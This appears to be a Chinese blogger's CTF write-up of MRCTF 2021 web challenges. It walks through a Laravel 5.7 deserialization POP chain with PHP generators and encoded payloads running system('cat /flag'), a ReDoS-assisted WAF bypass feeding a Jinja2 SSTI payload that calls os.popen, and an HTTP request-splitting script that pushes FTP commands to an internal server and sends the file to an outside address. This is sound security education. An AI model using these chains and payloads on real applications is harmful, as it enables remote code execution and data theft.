MRCTF 2021 WEB WP
上班划水看题,罪过罪过
ez_larave1
不算难,中间倒是因为出题人设置的key
卡了一会儿
www.zip
拿到源码
先来看看路由/app/Http/Controllers/TaskController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php namespace App\Http\Controllers;
class TaskController { public function index(){ if(isset($_GET['action']) && preg_match('/serialize\/*$/i', $_GET['action'])){ echo "no"; exit(1); } if(preg_match('/serialize/i', basename( $_GET['action']))){ if(isset($_GET['ser'])){ echo "serialize"; $ser = $_GET['ser']; unserialize($ser); return ; }else{ echo "no unserialization"; return ; } } } } error_reporting(-1); $a = new TaskController(); $a ->index(); ?>
|
有个反序列化,跟进一下哪里用到了这个index()
找到定义路由的文件routes/web.php
1 2 3 4 5 6
| <?php Route::get('/', function () { return view('welcome'); });
Route::get('/hello','TaskController@index');
|
即访问/hello
即可控制反序列化
然后diff
一下Laravel 5.7
源码,看看做了哪些改动
diff1:pop链起点被修改
注意到Laravel 5.7反序列化RCE
的起点类
/vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php

被改掉了,那只有另选魔法函数做起点
diff2:pop链重要函数增加限制
注意到后面的重要函数run()
也被做了改动
1 2 3 4 5 6 7 8
| public function run() { if(!isset($_GET['key']) || $_GET['key'] !== '******************'){ return ; } }
|
解题
对比完题目所做的修改,那就来一步步解题吧
先是访问hello
路由那里有个小限制

使用空格即可绕过
?action=serialize%20&ser=...
然后是pop链起点的问题,全局搜一下__destruct(
,第一个就是能用的
直接用call_usr_func
来调用PendingCommand
类的excute
1 2 3 4
| public function execute() { return $this->run(); }
|
问题解决
最后一个问题,如何获得key
,即.axxxxx.txt
的文件名
考虑到该文件至少存在五位的未知字符,放弃爆破
想到整个题目,我们能够找到的漏洞点只有反序列化,那肯定是需要找到一个魔法函数来读取public
目录文件的
再去仔细看了看diff
,找到/vendor/laravel/framework/src/Illuminate/Filesystem/Filesystem.php
文件类操作,又是在魔法函数中,有点可疑。查一查FilesystemIterator
类的作用
Bingo!
再找一下能显示出读取目录结果的类
找到/vendor/symfony/http-foundation/Response.php
1 2 3 4 5 6
| public function sendContent() { echo $this->content;
return $this; }
|
攻击链构造完成
接下来就是写反序列化EXP
,就不多说了
EXP
EXP1:读取public目录的txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php namespace Illuminate\Filesystem{ class Filesystem{ } }
namespace Symfony\Component\HttpFoundation{ class Response { public $content; } }
namespace GuzzleHttp\Psr7{ class FnStream { public function __construct($func){ $this->_fn_close = $func; } } }
namespace{ use GuzzleHttp\Psr7\FnStream; $response = new Symfony\Component\HttpFoundation\Response(); $response->content = new Illuminate\Filesystem\Filesystem(); $fnstream = new FnStream(array($response,'sendContent')); echo urlencode(serialize($fnstream));
}
|
/hello?action=serialize%20&ser=O%3A24%3A"GuzzleHttp%5CPsr7%5CFnStream"%3A1%3A%7Bs%3A9%3A"_fn_close"%3Ba%3A2%3A%7Bi%3A0%3BO%3A41%3A"Symfony%5CComponent%5CHttpFoundation%5CResponse"%3A1%3A%7Bs%3A7%3A"content"%3BO%3A32%3A"Illuminate%5CFilesystem%5CFilesystem"%3A0%3A%7B%7D%7Di%3A1%3Bs%3A11%3A"sendContent"%3B%7D%7D
访问即可
EXP2:命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php namespace GuzzleHttp\Psr7{ class FnStream { public function __construct($func){ $this->_fn_close = $func; } } }
namespace Illuminate\Foundation\Testing{ class PendingCommand{ public $test; protected $app; protected $command; protected $parameters;
public function __construct($test, $app, $command, $parameters) { $this->test = $test; $this->app = $app; $this->command = $command; $this->parameters = $parameters; } } }
namespace Faker{ class DefaultGenerator{ protected $default; public function __construct($default = null) { $this->default = $default; } } }
namespace Illuminate\Foundation{ class Application{ protected $instances = [];
public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } }
namespace{
use GuzzleHttp\Psr7\FnStream;
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag')); $fnstream = new FnStream(array($pendingcommand,'execute')); echo urlencode(serialize($fnstream));
}
|
/hello?action=serialize%20&key=W3lc0Me_2_MRCTF_2O2l&ser=O%3A24%3A"GuzzleHttp%5CPsr7%5CFnStream"%3A1%3A%7Bs%3A9%3A"_fn_close"%3Ba%3A2%3A%7Bi%3A0%3BO%3A44%3A"Illuminate%5CFoundation%5CTesting%5CPendingCommand"%3A4%3A%7Bs%3A4%3A"test"%3BO%3A22%3A"Faker%5CDefaultGenerator"%3A1%3A%7Bs%3A10%3A"%00%2A%00default"%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A"1"%3B%7D%7Ds%3A6%3A"%00%2A%00app"%3BO%3A33%3A"Illuminate%5CFoundation%5CApplication"%3A1%3A%7Bs%3A12%3A"%00%2A%00instances"%3Ba%3A1%3A%7Bs%3A35%3A"Illuminate%5CContracts%5CConsole%5CKernel"%3BO%3A33%3A"Illuminate%5CFoundation%5CApplication"%3A1%3A%7Bs%3A12%3A"%00%2A%00instances"%3Ba%3A1%3A%7Bs%3A35%3A"Illuminate%5CContracts%5CConsole%5CKernel"%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A"%00%2A%00command"%3Bs%3A6%3A"system"%3Bs%3A13%3A"%00%2A%00parameters"%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A"cat+%2Fflag"%3B%7D%7Di%3A1%3Bs%3A7%3A"execute"%3B%7D%7D
wwwafed_app
这道题的考点是ReDos
,以前倒没遇到过,学习了
/source
扫到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from flask import Flask, request,render_template,url_for from jinja2 import Template import requests,base64,shlex,os
app = Flask(__name__)
@app.route("/") def index(): return render_template('index.html')
@app.route("/waf") def wafsource(): return open("waf.py").read()
@app.route("/source") def appsource(): return open(__file__).read()
@app.route("/api/spider/<url>") def spider(url): url = base64.b64decode(url).decode('utf-8') safeurl = shlex.quote(url) block = os.popen("python3 waf.py " + safeurl).read() if block == "PASS": try: req = requests.get("http://"+url,timeout=5) return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render() except: return Template("访问{}失败!".format(safeurl)).render() else: return Template("WAF已拦截,请不要乱输入参数!").render()
if __name__ == "__main__": app.run(host="0.0.0.0",port=5000,debug=True)
|
waf.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import re,sys import timeout_decorator
@timeout_decorator.timeout(5) def waf(url): pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$' if re.match(pat,url) is None: print("BLOCK",end='') else: print("PASS",end='')
if __name__ == "__main__": try: waf(sys.argv[1]) except: print("PASS",end='')
|
在下面的代码有命令执行语句的拼接
1 2 3
| url = base64.b64decode(url).decode('utf-8') safeurl = shlex.quote(url) block = os.popen("python3 waf.py " + safeurl).read()
|
但用到了shlex.quote
,所以无法通过命令拼接来RCE,不过这里还有很明显的SSTI
现在唯一的问题是如何去绕过waf
waf.py
有个@timeout_decorator.timeout(5)
,而里面waf的正则存在ReDos的问题
Redos攻击
正则表达式拒绝服务-ReDoS
简单来说,就是因为正则错误的写法,导致服务器对特定模式的字符串进行匹配时会进行回溯
(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} for x \> 10
如上举例的正则,当我们输入类似aaaaaaaaaaaaaaaaaaaaaaaaaa
时就会使系统挂起
不同的机器性能的不一致,会导致最小输入长度略有变化
回到题目中的正则,里面有一段
(([0-9a-z]|-)+|[0-9a-z]\.)+
把[0-9a-z]
简化一下,就是((a|-)+|a\.)+
,符合上面第一个例子(a+)+
那么waf的绕过方式也显而易见了,使用reDos
使得运行时间超过5s
最终payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{a.__init__.__globals__.__builtins__.__import__("os").popen("whoami").read()}}
Half-Nosqli
没时间看了,跟着官方wp☁️复现一下
大概流程是
扫到docs
,拿到api
NoSQL
永真式登录
利用http
请求拆分打ftp
感觉最近node题考http请求拆分貌似特别多
记一下打ftp的过程
攻击ftp
需要用到匿名用户anonymous
,密码随便输入(使用ftp匿名模式登录)
然后需要的就是使用ftp
命令来读取flag
在这里可以找到ftp
的命令列表,构造传输命令如下
1 2 3 4 5 6
| USER anonymous PASS 123 CWD files TYPE A PROT 106,15,121,121,4,210 RETR flag
|
结合http
请求拆分,生成payload
还有一个小坑点,node的http模块只支持解析http协议,所以我们不能使用ftp协议,只能通过http协议来构造ftp的tcp数据包
(嫖的出题师傅脚本)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import requests as req
headers = { "Accept":"*/*", "Authorization":"Bearer "+token, }
url_payload = "http://ftp:8899/"
payload =''' USER anonymous PASS 123 CWD files TYPE A PROT 106,15,121,121,4,210 RETR flag '''.replace("\n","\r\n")
def payload_encode(raw): ret = u"" for i in raw: ret += chr(0xff00+ord(i)) return ret
url_payload = url_payload + payload_encode(payload) json = { "url":url_payload }
r = req.post(url+"home",headers=headers,json=json) print(r.text)
|
nc
监听一下端口即可得到flag
web_check_in
Web_Pwn,咕一手,等学了PWN再说吧。。。